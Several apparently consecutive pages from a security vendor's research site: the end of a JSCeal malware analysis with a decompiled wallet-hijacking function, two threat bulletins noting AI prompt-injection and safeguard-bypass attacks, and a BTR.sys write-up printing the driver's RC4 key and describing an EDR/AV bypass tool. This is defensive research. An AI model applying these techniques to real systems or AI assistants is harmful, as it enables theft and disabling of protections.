The use of stealth plugins and ghost-cursor suggests an attempt to reduce obvious automation fingerprints and make interaction with the login pages resemble ordinary browser activity. It does not guarantee that the procedure succeeds against every version of Google’s authentication flow, but the deobfuscated code clearly shows that the complete workflow was implemented.
Not every browser-related operation uses Puppeteer. A separate openLink handler launches an installed browser directly with the selected --user-data-dir and --profile-directory. Puppeteer is used for the more involved operation where JSCeal needs to inject cookies, navigate between authentication stages, interact with page elements, and retrieve the resulting authentication state.
Spying functionality
The function labeled func_initializeScreenCaptureModule_0x10000d2e3 is indeed responsible for setting up screenshot capture, but its scope goes beyond that. Inside we also find a keylogger and handlers for enumerating and manipulating visible windows. The inner functions carry more granular labels — func_takeScreenshot_0x10000d2d1, func_getVisibleWindows_0x10000d2d3, func_controlWindow_0x10000d2d4, func_initKeyboardCapture_0x10000d2e1 — and taken together they reveal what the parent name understates. Examining each function manually confirms that this is a broader surveillance module.
Interception proxy and targeted traffic manipulation
A common technique used by banking trojans is to install a local proxy and inject or modify web content in selected services. JSCeal follows a similar pattern: the recovered code shows proxy setup, certificate generation and installation, and service-specific request and response modification.
Then, it installs a locally generated, attacker-controlled root certificate onto the victim machine, first dropping it as a temporary file, and then using certutil to add it to the local store.
The proxy is not limited to passive interception. The recovered code contains dedicated handlers that modify selected requests and responses for specific services. A configuration function exposes separate overrides for Binance, Bybit, and Ledger, as well as generic handlers for replacing HTML, blocking hosts, and clearing selected cookies.
For Binance, JSCeal intercepts the QR-login response and replaces the returned qrCode value with a configured value.
function func_appendQrCode_0x1000009f1(a0)
{
if (a0["json"]["success"])
{
r2 = a0["json"]["data"]
r2["qrCode"] = Scope[10627][2]
r2 = new {"json": null}
r2["json"] = a0["json"]
return r2
}
return undefined
}
The Bybit handlers go further. One forwards intercepted verification components through the same global_iB network client described earlier and removes them from the intercepted response.
A Ledger-specific handler intercepts /public_resources/analytics.min.js from resources.live.ledger.app and substitutes a generated script that hides the existing React root and displays configured HTML in its place.
Other utility handlers can return arbitrary HTML with a 200 response while stripping CSP and content encoding, return an empty 403 response for selected hosts, or clear selected cookies in intercepted requests and responses.
Cryptocurrency account and balance collection
JSCeal contains multiple handlers targeting cryptocurrency platforms. One class of handlers intercepts account data and records cryptocurrency balances.
For example, Kraken is one of the targeted services. The snippet below shows the corresponding initialization.
We extracted platform identifiers from all saveBalance calls, obtaining the following list of targets:
UBITEX
PAXFUL
KRAKEN
HTX
COINSPH
TOKOCRYPTO
OKX
KCEX
HATA
COINHUB
REMITANO
NOONES
FORTUNO_MARKETS
GATEIO
BYBIT
POLONIEX
MEXC
CSGOEMPIRE
FMCPAY
BINANCE
PIONEX
KUCOIN
I3Q
DIGIFINEX
ASCENDEX
JSCeal evolution
The last JSCeal payload we observed using V8 10.2.154.26-node.25 was 0d1fce0cb2b9dec26a10f0822aeffb19, associated with campaigns starting at the end of October 2025. By that time, we could already see the authors making incremental changes intended to complicate analysis.
Earlier, the JavaScript launcher had been renamed from preflight.js to preload.js and, along with this change, was itself obfuscated using the same javascript-obfuscator. The payload was also renamed to app.js. Although its contents were still a V8 code cache rather than JavaScript source, the new name made it blend in better with ordinary application files and rendered hunting based on the .jsc extension ineffective. These changes were still relatively minor and did not require modifications to our analysis toolkit.
A more significant update appeared in campaigns starting early November 2025. The bundled Node.js runtime was upgraded, bringing V8 to 13.6.233.10-node.28. In our experiments, code caches produced for this runtime proved considerably more sensitive to the exact runtime build and snapshot configuration, making it more difficult to obtain a compatible standalone V8 disassembler. However, once we were able to recover and decompile the bytecode, the overall payload structure remained familiar. We could recognize the same javascript-obfuscator patterns, including the string-decoding infrastructure, proxy indirection, and control-flow flattening used by the earlier generation.
The authors introduced another obstacle by adding an AES-256-CBC encryption layer around the Brotli-compressed payload. The first encrypted payload we observed was generated on 2025-11-11 (581e2e2265d0c1509b3799c5a9039374). The AES key is not stored in the malware bundle itself. Instead, another stage of the deployment chain provides it through an environment variable. Recovering the underlying V8 code cache therefore requires obtaining the corresponding key from the surrounding infection chain, which is not always possible when only an isolated bundle or payload is available. Protecting a payload with an encryption key supplied by an earlier deployment stage is an effective anti-analysis technique, consistent with patterns seen in other mature malware frameworks.
Alongside these changes in payload protection, we also observed campaigns targeting macOS; one example is de10c6b3dc4619f59bc9c80a0aa15e6a.
Taken together, these developments show that the JSCeal authors are investing both in making the payload harder to analyze and in broadening its platform coverage. With campaigns continuing into recent months, the changes indicate that JSCeal remains under active development.
Conclusions
JSCeal combines two forms of analysis friction: a version-specific compiled V8 format and several layers of JavaScript obfuscation applied before compilation. Neither makes the malware impossible to reverse, but together they move it outside the workflows that analysts normally rely on.
Several conclusions emerged from this work.
Format choice creates asymmetric analysis cost. Attackers do not need a custom compiler or a novel virtual machine to obtain meaningful protection. They can combine the Node.js ecosystem, an off-the-shelf obfuscator, and V8 code caching to produce capable malware quickly. The defender, meanwhile, has to deal with version-sensitive bytecode, immature tooling, and a large pseudocode corpus before reaching the application logic.
Layered obfuscation needs to be addressed with layered deobfuscation. JSCeal’s transformations depend on one another. Recovered strings expose dictionary keys and dispatcher order; those expose proxy relationships; proxy cleanup reveals simple operations and direct calls. Reconstructing the script in one go was not possible. We had to isolate each transformation and undo them by a narrow, ordered sequence.
Static recovery can be practical without producing runnable source. View8 pseudocode is not the original JavaScript, and our pipeline does not attempt to make it executable. Nevertheless, the recovered representation is sufficient for ordinary analytical work: following logic, locating capabilities, extracting artifacts, comparing samples, and validating behavior against runtime observations.
LLM-assisted naming is useful as navigation, not as evidence. Dependency-aware renaming can make very large recovered codebases substantially easier to browse, especially after deterministic deobfuscation has already exposed meaningful strings and calls. Our evaluation also showed why the labels must remain hypotheses: different models often choose different levels of abstraction, and even strong models can produce confident but incorrect names. The function body, strings, APIs, paths, and data flow remain the evidence.
The recovered JSCeal code exposes a broad capability set. The analyzed payloads include browser and credential theft, cryptocurrency-focused collection, Telegram session theft, keyboard capture, screenshots, and a local HTTPS interception proxy capable of installing an attacker-controlled certificate. Static recovery makes it possible to examine not only behavior observed during one run, but also branches that may not execute in a particular environment.
Version sensitivity remains a tooling challenge. The move from the V8 10.2.154.26-node.25 generation to 13.6.233.10-node.28 demonstrates the cost of relying on an internal, version-specific format. A new runtime generation can require renewed work at the disassembly layer even when the malware’s higher-level structure and obfuscation remain recognizable.
The main result is therefore not perfect source reconstruction. It is a repeatable path from a compiled, obfuscated V8 payload to code that can be inspected and compared again. We released version 1.0 of the toolkit [7] as a reference implementation of that methodology and as a starting point for analysts facing similar V8-based payloads. The current end-to-end setup targets V8 10.2.154.26-node.25. We are planning to add support for V8 13.6.233.10-node.28 in future releases.
The recent JSCeal changes show that the problem is still moving. Payload names, runtime versions, encryption layers, and target platforms can change while the core analysis challenge remains the same: recover enough structure to turn an opaque compiled artifact back into evidence.
Appendix – A
Listing of the most important changes introduced in the View8 code during the development of the deobfuscation pipeline.
Serializing output
By default, View8 emits only a text representation of the decompiled output.
As part of our pipeline, we needed to apply multiple transformation passes. Working with the decompiler’s internal representation was much more convenient than parsing raw text. This is why we introduced an additional output format: a serialized object graph representing the internal decompilation state. Python’s pickle format was chosen for convenience.
The deobfuscator loads the pickled input and operates directly on the reconstructed View8 objects. Each pass can work independently, reading the serialized state produced by the previous pass.
Splitting output
Another difficulty in JSCeal analysis was the significant size of the output, which reached up to 47 MB because the payload included a large number of bundled modules. As a result, finding the code that belonged to the malware itself was quite challenging. To make the output easier to navigate, we added to the View8 decompiler the ability to split it into separate files, each representing a single tree of function dependencies.
The tree can be constructed using different relationship types: the declarer hierarchy (declarers), direct function calls (calls), or broader function references (references). For call- and reference-based trees, the analyst can also control the traversal depth and separate larger branches into individual files. This makes it possible to extract a focused subsystem around a selected root without printing the entire payload.
Normalization of the generated function identifiers
Each function name generated by the View8 decompiler contains a hexadecimal suffix derived from address values present in the V8 disassembly. These values correspond to live heap addresses used by V8 and are not stable across different runs. Because of ASLR, disassembling the same JSC file twice may therefore produce different function identifiers. The relative object layout may also differ between V8 or disassembler builds, making simple address rebasing insufficient.
For reproducible output, we added the --normalize option. It replaces the address-derived suffixes with deterministic identifiers based on the order in which functions are encountered while parsing the disassembly. A fixed virtual base is added to the parse index, preserving the familiar func_<name>_0x<value> format while making the identifiers independent of the original heap layout.
The mapping between the original and normalized function names can optionally be exported to a CSV file using --normalize-map.
Function and line metadata
We introduced a metadata field to each line and function. This lets us pass information between each layer of the deobfuscator and reduces the burden of reparsing. For example, once we parse a line and enumerate all the registers it references, this information can be stored in the line object for further use.
Similarly, metadata can be added to a function. As a result, even after deobfuscating a function we don’t lose the information about what type of obfuscation was applied to it (for example: Control Flow Flattening). We can filter the functions by the metadata tags, and display them selectively.
Hiding functions
In past releases, View8 allowed lines to be hidden by setting the visibility field in the line object. While this feature is very useful, it may not be enough when we are dealing with obfuscated code. Sometimes there is a need to hide entire functions, not only selected lines.
For example, we will encounter multiple proxy functions, of different types, that were introduced only for the purpose of complicating the code flow. Sometimes a single call is done by a rabbit-hole of proxies, that have to be understood and then removed, to make the call direct.
There are also many small functions whose only role is to implement a single arithmetic operation. During the deobfuscation process, those functions will be parsed and the calls to them will be replaced by the explicit operations. Once the functions are resolved, they can be safely hidden.
Changed representation of globals
The original View8 output displays global variables by the names with which they were declared. In the case of obfuscated code, those names are intentionally made meaningless. Sometimes they are one or two characters long. We also encountered cases in which the names of globals were identical to the names of registers used by the standard JSC code (r{number}) and therefore, understanding what they really represent required broader contextual analysis. In order to make the meaning more explicit, and the output easier to parse, we appended the global_ prefix to each global variable.
Once the globals are parsed, their explicit definition in the start function (DeclareGlobals) is hidden.
Example:
Before:
ACCU = DeclareGlobals(["oQ", "kg", "xQ",...])
[...]
oQ = Object["create"]
kg = Object["defineProperty"]
xQ = Object["getOwnPropertyDescriptor"]
The tests were performed on 23 different payloads using V8 10.2.154.26. During two unattended test runs, documented in the repository [8] (directory sessions_23_samples), all filters completed without exceptions and produced output suitable for code-level analysis. The collected logs show the details of each run, along with the timing and evaluation. The appendix lists one additional, older payload beyond the 23-sample main evaluation corpus. Its deobfuscation was successful, but it uses an earlier, simpler string-obfuscation variant handled by deobf_str1.py, so it was not included in the automated pipeline evaluation.
JSC files (original, Brotli-compressed) with corresponding bundle (build.zip):
Of the 24 payloads listed in Appendix B, 23 use the dominant string-obfuscation variant handled by deobf_str2.py. The older payload 91038aebe528a065c3e995a418db6826 uses the simpler variant handled by deobf_str1.py.
All identified obfuscated string chunks in these 24 payloads were successfully deobfuscated — meaning that each identified obfuscated chunk was decrypted into a valid string chunk.
Complete listings are available in the repository [8] in the files named by the pattern: {md5}.deobf.txt.strings.txt.
For the latest discoveries in cyber research for the week of 31st August, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Manchester Airports Group, the UK operator of Manchester, London Stansted, and East Midlands airports, has disclosed a cyberattack that exposed data belonging to about 8.7 million customers. The compromised information includes contact details, vehicle registration numbers, and information collected through car park, lounge, fast-track, and Wi-Fi registrations.
The U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives has confirmed a cyberattack affecting a standalone computer containing information on ATF investigation targets. The system was disconnected after the compromise, while the Qilin ransomware group listed the agency on its leak site and claimed responsibility.
Boston Scientific, a US-based global medical device company, has experienced a cyberattack that caused network outages and disrupted operations worldwide. Access to internal systems and applications, including services supporting order processing and shipping, was affected. The company began restoring impacted systems following the August 26 disruption.
McKesson, a major U.S. healthcare and pharmaceutical company, has disclosed a data breach involving unauthorized access to third-party applications and data theft. Threat group ShinyHunters claimed it used vishing to compromise Okta accounts and access Salesforce and Snowflake, exfiltrating about 1TB of data containing approximately 284 million patient-related records.
AI THREATS
Researchers described Cryptographic Context Injection, a technique that conceals malicious instructions inside encrypted content to bypass safeguards in AI assistants with browsing and code capabilities. During testing, Grok was induced to expose user conversation data while Gemini generated content that would normally be blocked by its safety controls.
Researchers detailed a prompt injection vulnerability in Amazon Kiro, an AI development environment, that could allow malicious workspace files to manipulate the agent and transmit local information. Exploitation required a user to open a crafted project and interact with Kiro. Amazon addressed the issue in version 0.8.140.
Researchers profiled AnonyMousKIT, an AI-enabled phishing-as-a-service operation targeting owners of stolen iPhones. The platform uses email, text messages, WhatsApp, and AI-generated voice calls to steal Apple IDs, passcodes, and two-factor authentication codes, helping criminals remove Activation Lock and gain access to associated accounts.
VULNERABILITIES AND PATCHES
PaperCut released emergency fixes for two actively exploited vulnerabilities affecting PaperCut NG and MF. CVE-2026-81578, rated CVSS 8.8, enables authentication bypass, while CVE-2026-82078, rated CVSS 9.4, involves unsafe class loading. Attackers can chain the vulnerabilities to achieve unauthenticated remote code execution on affected servers.
Ubiquiti patched 21 critical and high-severity vulnerabilities affecting UniFi Protect, Network, Access, Talk, UniFi OS, and other products. The flaws include authentication bypass, command injection, and privilege escalation issues, with several receiving CVSS scores of 10.0. Successful exploitation could allow attackers to gain administrative control over affected devices.
Vercel addressed two critical vulnerabilities affecting Next.js, including CVE-2026-75604, a Windows-specific path traversal flaw, and a libheif AVIF image-processing vulnerability. Both can result in unauthenticated remote code execution under affected configurations. Fixes are included in Next.js versions 15.5.24 and 16.3.3. A public proof-of-concept is available for the AVIF issue.
ServiceNow has addressed three critical vulnerabilities in its AI Platform, CVE-2026-18885, CVE-2026-18886, and CVE-2026-74820, all rated CVSS 10.0. The flaws involve code injection, access control, and SQL injection and can allow unauthenticated attackers to execute code, escalate privileges, or access and modify instance data.
THREAT INTELLIGENCE REPORTS
Check Point researchers identified a large-scale phishing campaign using fraudulent debt-relief emails to manipulate victims into calling attacker-controlled phone numbers. The campaign targeted more than 9,000 organizations and distributed approximately 24,700 emails within 14 days. Phone conversations were then used to obtain victims’ personal and financial information.
U.S. authorities announced the disruption of QScan and QTRouter, two platforms operated by China-linked group QTFY to target U.S. critical infrastructure and government networks. QScan infected internet-connected devices, while QTRouter used compromised systems to conceal the origin of intrusion activity targeting agencies including NASA, the Federal Reserve, and Department of Energy.
Researchers unveiled an expanded toolset used by the Iran-linked Nimbus Manticore threat group to target organizations in the Middle East and Europe. The campaign includes an SSH tunneling utility and a C++ backdoor resembling TWOSTROKE, providing attackers with persistent remote access and command execution on compromised systems.
Researchers discovered a Chinese threat actor exploiting known ownCloud and WordPress vulnerabilities to compromise sensitive organizations in the Philippines. Victims included a nuclear research agency and a marine engineering contractor supporting the Philippine Navy. The attackers obtained reactor-related records, employee information and credentials, among other data.
For the latest discoveries in cyber research for the week of 24th August, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Latvia’s Road Traffic Safety Directorate (CSDD) has confirmed a breach affecting payment records of more than 1.2 million people – roughly two-thirds of the country’s population – as well as 200,000 organizations. The stolen data included identification numbers, license plates, payment amounts, dates and addresses. Attackers reportedly exploited a vulnerability in an internet-facing system.
Sakura Internet, a Japanese cloud and hosting provider, has disclosed unauthorized access involving rental server environments and a separate sales management system. Up to 1.36 million customer accounts may have been exposed. Attackers also accessed hundreds of rental server accounts and installed malware on affected environments.
The Hospital for Sick Children, Canada’s largest pediatric hospital, has disclosed data theft involving a third-party application. The incident affected its careers website and exposed information belonging to employees, applicants and staff at related organizations. The hospital stated that clinical systems and patient information were not affected.
Berlin authorities isolated the city’s urban development and mobility ministries from government IT networks following a security breach. The measure disrupted email and internet access, forcing employees to use alternative communication channels and delaying several public services while the ministries remained disconnected.
AI THREATS
Researchers have demonstrated an autonomous AI agent exploiting a GitHub Actions flaw in Snowflake’s public repository, gaining read access to the company’s internal Jira system. The agent exfiltrated tokens within seconds. Snowflake patched the workflow and rotated credentials after the demonstration, which required no human steering.
US authorities warn of active AI-assisted attacks targeting Siemens S7 industrial controllers across manufacturing, energy, water and other critical sectors. Attackers use AI-generated scripts disguised as monitoring tools and open-source libraries to probe internet-exposed attempting to cause unauthorized configuration changes, operational disruption or damage to industrial equipment.
Researchers have analyzed ‘Kriminal’, a publicly accessible AI platform marketed as uncensored and offering social engineering and exploit assistance through cryptocurrency subscriptions. The service combines models including Grok, Claude and Llama, allowing users to generate phishing content, malicious code and other cybercrime material while reducing reliance on a single provider
VULNERABILITIES AND PATCHES
GitLab has released out-of-band fixes for CVE-2026-19478, a critical unauthenticated code injection vulnerability affecting self-managed Community and Enterprise editions. Rated CVSS 9.4, the flaw can let remote attackers alter or delete public projects and user data. Exploitation attempts were observed after disclosure.
Cisco has released fixes for nine critical vulnerabilities affecting Crosswork platforms and Secure Workload software, including six flaws rated CVSS 10.0. The issues include authentication, access-control and file-system weaknesses that could enable unauthorized access or system compromise.
Citrix has published patches for CVE-2026-19489 and CVE-2026-19490 affecting NetScaler ADC and NetScaler Gateway. The critical authentication bypass flaw can let unauthenticated attackers access appliances configured with SAML authentication, while the second vulnerability can cause denial of service.
NASA/JPL has fixed a critical vulnerability in the open-source AMMOS Instrument Toolkit AIT-GUI that enables unauthenticated command execution through its web console. Rated CVSS 9.4, the flaw can allow remote command execution, script launches and sequence execution. AIT-GUI version 2.5.2 contains the fix
THREAT INTELLIGENCE REPORTS
Check Point Research has investigated StopAndProtect campaign which abuses thousands of compromised WordPress sites to distribute malware and store stolen data. The campaign combines ransomware with data theft and uses ClickFix technique to infect visitors. Operational mistakes exposed logs, screenshots and victim IP addresses.
Check Point Research has investigated the Windows Defender Boot-Time Removal driver, BTR.sys, showing that the Microsoft-signed remediation component can be repurposed to perform privileged file and registry changes during startup. Researchers developed BTR_CLI to craft encrypted tasks and found that multiple versions share a hard-coded RC4 key.
Check Point Research have uncovered increased targeting of the education sector ahead of the school year. Organizations averaged 4,696 weekly attacks from January through July 2026, increase of 8%. Attackers also registered education-themed domains and used seasonal phishing lures impersonating schools and student reward programs to steal credentials.
Researchers have tracked a Cl0p extortion campaign exploiting CVE-2026-12569 in PTC Windchill and FlexPLM, with more than 40 organizations named by the group. Analysis identified a custom implant capable of decrypting credentials, accessing databases and supporting bulk data theft from compromised product lifecycle management environments.
Check Point IPS provides protection against this threat (PTC Multiple Products Remote Code Execution (CVE-2026-12569))
What if a trusted security component could be repurposed into an attacker-controlled kernel primitive? What if a signed Microsoft remediation driver could be instructed to execute arbitrary file and registry operations from Ring 0 – without exploits, vulnerabilities, or memory corruption?
In this publication, we present the first full reverse engineering of the Windows Defender Boot-Time Removal driver (BTR.sys) and its proprietary transaction format. We dissect its encrypted configuration mechanism, integrity validation logic, and execution pipeline, and demonstrate how this legitimate remediation component can be transformed into a universal kernel operation engine. We introduce BTR_CLI, a research tool that constructs valid encrypted transactions and safely exercises the driver’s functionality to demonstrate its capabilities.
Furthermore, we demonstrate how BTR_CLI can be used as an EDR/AV bypass technique, disarming security solutions while using a trusted Windows built-in, Microsoft-signed driver, thus not relying on typical BYOVD techniques.
Our research reveals how trusted security infrastructure can unintentionally expose powerful primitives, what this means for defenders, and how similar patterns may exist in other signed remediation components. This work blends reverse engineering, kernel internals, and detection engineering into a practical case study of when defensive technology becomes offensive capability.
Introduction
This research originated during an incident response investigation involving a compromised system, where certain endpoint telemetry appeared suspicious but was ultimately traced back to legitimate Windows Defender remediation activity. During analysis, a driver (internally identified as BTR.sys) appeared on disk under System32\drivers with a randomized filename and a corresponding randomized service name (HKLM\SYSTEM\CurrentControlSet\Services\mzqnjtaq), accompanied by the following registry entries:
At first glance, several characteristics resembled attacker tradecraft:
A randomly named driver dropped shortly before reboot
Creation of a transient service entry for loading it
Presence of RC4 encryption routines
Interaction with an Alternate Data Stream (:changelist) attached to the driver file
Self-cleanup behavior after execution
These indicators strongly resembled malicious kernel loader behavior, particularly given prior research into exotic loading mechanisms such as loading kernel drivers directly from ADS paths – a technique often considered theoretical yet has proven practical.
The most unusual aspect was that the ADS stream contained an encrypted binary structure used as configuration input for the driver. Encountering a Microsoft-signed driver relying on an ADS-stored encrypted configuration immediately raised suspicion that it might be exploitable or abused by attackers. Our initial hypothesis was that the threat actor had leveraged this driver for post-exploitation activity. That hypothesis ultimately proved incorrect: the behavior was legitimate Defender remediation logic.
However, that discovery triggered a deeper analysis of BTR.sys and the surrounding remediation architecture. What began as a false-positive investigation quickly evolved into a full reverse-engineering effort that uncovered undocumented functionality, a custom protocol, and an unexpectedly powerful kernel execution model.
Technical Analysis: The BTR Driver
Driver Overview
Filename:BTR.sys
Figure 1: “BTR.sys” driver – Boot Time Removal Tool.
Origin: Embedded as a PE resource within MpEngine.dll. It is dropped to disk (with a randomized filename matching [a-z]{8}.sys, e.g., mzqnjtaq.sys) only when a remediation action requires a reboot (e.g., deleting a locked file).
Figure 2: “MpEngine.dll” with embedded “BTR.sys” as a PE resource.
Figure 3: “MpEngine.dll” dropping “BTR.sys” from the embedded “BOOTTIMETOOL” resource.
Behavior: It is a “one-shot” driver. It loads, performs a list of transactions, reports status, and immediately requests self-unloading.
The Configuration Mechanism
The driver does not expose a standard IOCTL interface. Instead, it reads a configuration blob pointed to by the Args value in its Service Registry Key.
Figure 4: “BTR.sys” initialization logic querying the “Args” service value to locate the configuration.
Format: A file path to an Alternate Data Stream (e.g., C:\Windows\system32\drivers\BTR.sys:changelist) containing RC4-encrypted binary data.
Figure 5: “MpEngine.dll” constructing the configuration path by explicitly appending the “:changelist” ADS.
Cryptography & Integrity
The configuration blob is protected by both encryption and integrity checks to prevent tampering.
Encryption: RC4 Stream Cipher.
Key: A hard-coded 256-byte key embedded in the .rdata section of the driver (this key appears to be consistent across various BTR.sys driver versions).
Figure 6: “BTR.sys” RC4 decryption of configuration using a hard-coded 256-byte key in “.rdata”.
Integrity: Modified CRC-32 (~CRC32).
The driver uses the standard CRC-32 polynomial (0xEDB88320) and initialization (0xFFFFFFFF). However, it deviates from the standard implementation by omitting the final bitwise inversion (Final XOR) step. Consequently, the resulting value is mathematically equivalent to the bitwise inverse of a standard CRC-32 (denoted as ~CRC32 in the tables in the next section below).
Independence: Integrity checks are non-cumulative. The CRC register is reset to the initial value (0xFFFFFFFF) for every individual structure (Global Header, Global Payload, Item Header, and Item Data). This design isolates the validation of each component, effectively preventing CRC chaining manipulation where modifying one structure could impact the validity of subsequent structures.
Figure 7: “BTR.sys” CalcCRC32 function → ~CRC32(Buffer, Size).
The Transaction Structure
The RC4-decrypted payload (configuration blob) is a serialized list of actions. Through reverse engineering, we have mapped the structure entirely (notably, the PDB for BTR.sys is not provided by Microsoft).
Figure 8: Transaction Structure Format → The Configuration.
Global Header (24 Bytes)
The file starts with a fixed header that defines the session.
Offset
Size
Field
Description
0x00
4
Magic
0xFEE1DEAD (Little Endian)
0x04
4
Version
0x00000002
0x08
4
PayloadOffset
0x00000010 (Relative offset from this field to the Global Payload; constant)
Purpose: The Feedback File path (e.g., \??\C:\ProgramData\...\mzqnjtaq.dat). The driver creates this file and writes a Transaction Execution Report. This report mostly mirrors the structure of the input configuration but updates the first 4 bytes of each Item’s Data payload ([Flags]) with the NTSTATUS code resulting from that specific operation.
Item Structure (The Action)
Following the Global Payload is a list of Operation Items.
Item Header (16 Bytes):
Offset
Size
Field
Description
0x00
4
DataSize
Size of the Item Data (including padding)
0x04
4
ActionID
The operation to perform (see Section below)
0x08
4
HeaderCRC
~CRC32 of this header (calculated with this field zeroed)
0x0C
4
DataCRC
~CRC32 of the Item Data
The table above can be represented as the following C structure:
struct ITEM_HEADER {
uint32_t DataSize; // Size of Item Data
uint32_t Action; // Action ID
uint32_t HeaderCRC; // ~CRC32(Header)
uint32_t DataCRC; // ~CRC32(Data)
};
Item Data (Variable):
The structure of the data depends on the Action ID. For complex actions (3-6), it starts with a Flags field; for simple actions (1-2), it starts immediately with the path. It generally follows:
Padding (Reserved Space): The driver requires exactly 4 null bytes appended to the end of the Item Data.
Technical Note: This is not for alignment. For simple actions (like File Deletion) which lack a leading 4-byte [Flags] field, the driver utilizes this reserved space to generate the feedback report. It shifts the string data by 4 bytes into this padding area to create room at the beginning of the buffer for the NTSTATUS code, avoiding memory reallocation.
Weaponized Primitives (Action IDs)
We have identified and implemented the following Action IDs in the BTR_CLI tool:
Weaponization: If Dest Path is empty, this acts as a Delete operation. If Dest Path is valid, this allows Arbitrary File Write/Move (e.g., dropping a malicious DLL into System32).
Registry Operations
Action 4: Delete Key
Structure:[Flags] [Key Path]
Effect: Deletes a registry key and its subkeys.
Action 5: Delete Value
Structure:[Flags] [Key Path + "\\" + Value Name]
Critical Finding: The driver parses the string by searching for a double backslash (\\) to split the Key from the Value. Standard paths fail; specific formatting is required.
Weaponization: Can be used to establish persistence (Run keys, Services) or disable security controls (Tamper Protection, EDR configs). Creates not only a value but possibly the registry key path itself.
Operational Findings & Anti-Forensics
The “Success” Error Code
A unique trait of BTR.sys is its return value upon successful execution. It returns 0xC0000056 (STATUS_DELETE_PENDING) instead of STATUS_SUCCESS.
Reason: This signals the Windows Kernel to immediately unload the driver and mark the driver object for deletion, ensuring it does not persist in memory.
Anti-Forensics (Log Cleaning)
The driver creates a text log at \SystemRoot\Temp\BootClean.log.
Technique: The BTR_CLI tool automatically injects an Action 1 item at the start of the transaction list targeting BootClean.log.
Result: The driver creates the log, performs the user’s action, and then deletes its own log file before unloading. This leaves minimal forensic traces.
BTR.sys Driver Versions
To obtain a comprehensive overview of different BTR.sys driver versions, we searched public repositories such as VirusTotal and Winbindex (by locating MpEngine.dll, which embeds the BTR.sys driver). Using Winbindex, we identified exactly 12 different versions of 64-bit MpEngine.dll across all available Windows 10 and Windows 11 releases.
Figure 12: Winbindex search – “MpEngine.dll”.
Extracting the embedded BTR.sys from these 12 MpEngine.dll versions resulted in 5 unique driver builds (based on distinct SHA-256 hashes).
Figure 13: Unique “BTR.sys” drivers extracted from “MpEngine” dlls (Winbindex).
Combining these 5 builds with distinct BTR.sys samples (unique SHA-256 hashes) identified on VirusTotal at the time of analysis, and after de-duplication against the Winbindex dataset, we obtained a total of 18 unique 64-bit Microsoft-signed versions (distinct Authentihashes) of the BTR.sys driver. Analysis confirmed that all versions share the same hard-coded 256-byte RC4 key used to decrypt the transaction structure (configuration blob).
1E 87 78 1B 8D BB A8 44 CE 69 70 2C 0C 78 B7 86
A3 F6 23 B7 38 F4 ED F9 AF 83 53 0F B3 FC 54 FA
A2 1E B9 CF 13 32 FD 0F 0D A9 54 F6 87 CB 9E 18
27 96 97 90 0E 54 FB 31 7C 9C BC E4 8E 23 D0 53
71 EC C1 59 51 B7 F3 64 9D 7C A3 3E D6 8D C9 04
7E 82 C9 BA AD 96 99 D0 D4 58 CB 84 7C A9 FF BE
3C 8A 77 52 33 55 7D DE 13 A8 B1 40 87 CC 1B C8
F1 0F 6E CD D0 83 A9 59 CF F8 4A 9D 1D 50 75 5E
3E 19 18 18 AF 23 E2 29 35 58 76 6D 2C 07 E2 57
12 B2 CA 0B 53 5E D8 F6 C5 6C E7 3D 24 BD D0 29
17 71 86 1A 54 B4 C2 85 A9 A3 DB 7A CA 6D 22 4A
EA CD 62 1D B9 FB A2 2E D1 E9 E1 1D 75 BE D7 DC
0E CB 0A 8E 68 C2 FF 12 63 40 8D C8 08 DF FD 16
4B 11 67 74 CD 6B 9B 8D 05 41 1E D6 26 2E 42 9B
A4 95 67 6B 83 98 DB 2F 35 D3 C1 B9 CE D5 26 36
F2 76 5E 1A 95 CB 7C A4 C3 DD AB DD BF F3 82 53
Furthermore, the transaction structure format is consistent across all analyzed versions and supports all identified Action IDs. This consistency makes the BTR_CLI tool (provided in the next section) a universal, reliable, and reusable component across all tested Windows OS builds → from Windows 7 Build 7601, through Windows 8.1 and Windows 10 22H2, up to the latest Windows 11 25H2 at the time of writing (July 2026).
The Tool: BTR_CLI
The BTR_CLI tool serves as a fully functional Proof-of-Concept (PoC) demonstrating the offensive utility of the Microsoft Boot Time Removal driver (BTR.sys). The source code implements a complete exploitation chain that mimics the native behavior of MpEngine.dll while extending its capabilities for research and red-teaming purposes.
Figure 14: The “BTR_CLI” tool – 6 stage pipeline.
The tool performs the following sequence of operations:
Driver Extraction: It automatically locates and extracts the legitimate BTR.sys driver from the local MpEngine.dll resource section. If the DLL is unavailable (cannot be found) or the hard-coded RC4 key inside the DLL has changed, it falls back to an embedded driver version (the latest one confirmed to be supported).
Stealth Configuration (ADS): Instead of creating visible configuration files, the tool utilizes Alternate Data Streams (ADS). It generates a randomized filename for the driver (e.g., Random.sys) and writes the encrypted transaction payload directly into Random.sys:changelist. The feedback path is similarly set to Random.sys:Random.dat.
Payload Construction: It constructs a custom RC4-encrypted payload containing the specific remediation instructions (the config). This includes calculating the correct CRC32 checksums and padding required by the driver to accept the configuration.
Action Chaining: The tool supports chaining multiple operations into a single execution transaction. By default, it injects an anti-forensics action to delete its own log file (BootClean.log), followed by any user-defined actions (e.g., file deletion, registry modification, etc.).
Service Creation & Triggering:
Runtime Execution (trigger now): Creates a service with a randomized name and loads the driver immediately via NtLoadDriver.
Boot Execution (trigger boot): Configures the service with Start=1 (System) and Group Boot Bus Extender to execute during the early boot phase, bypassing active EDR/AV protections.
Cleanup: It automatically unloads the driver and removes all artifacts (Service Registry Key, Driver File, and ADS streams) after execution.
Usage:
Figure 15: The “BTR_CLI” tool – usage.
Source Code:
The source code of BTR_CLI, with its ready-to-run executables (both x64 and x86, each self-contained with the embedded BTR.sys fallback), is available here, MIT licensed.
The BTR_CLI tool underwent robust testing across a comprehensive range of Windows operating systems, spanning from Windows 7 Build 7601 (released in 2011), through Windows 8.1 and Windows 10 22H2, up to the latest fully updated Windows 11 25H2 (as of July 2026). Testing confirmed the tool’s ability to successfully execute all supported BTR.sys capabilities (Action IDs) across every version. Notably, while the tool includes an embedded fallback driver, this redundancy was never required during testing; the target-specific BTR.sys was successfully extracted from the local MpEngine.dll in every instance. This capability allows the tool to operate without introducing external binaries, effectively avoiding BYOVD-like scenarios. These findings highlight a remarkable consistency in the internal BTR.sys codebase – retaining the same hard-coded RC4 key and configuration structure for over 15 years.
The “Golden Window” of Opportunity: Exploiting the BTR.sys Driver for EDR/AV Neutralization
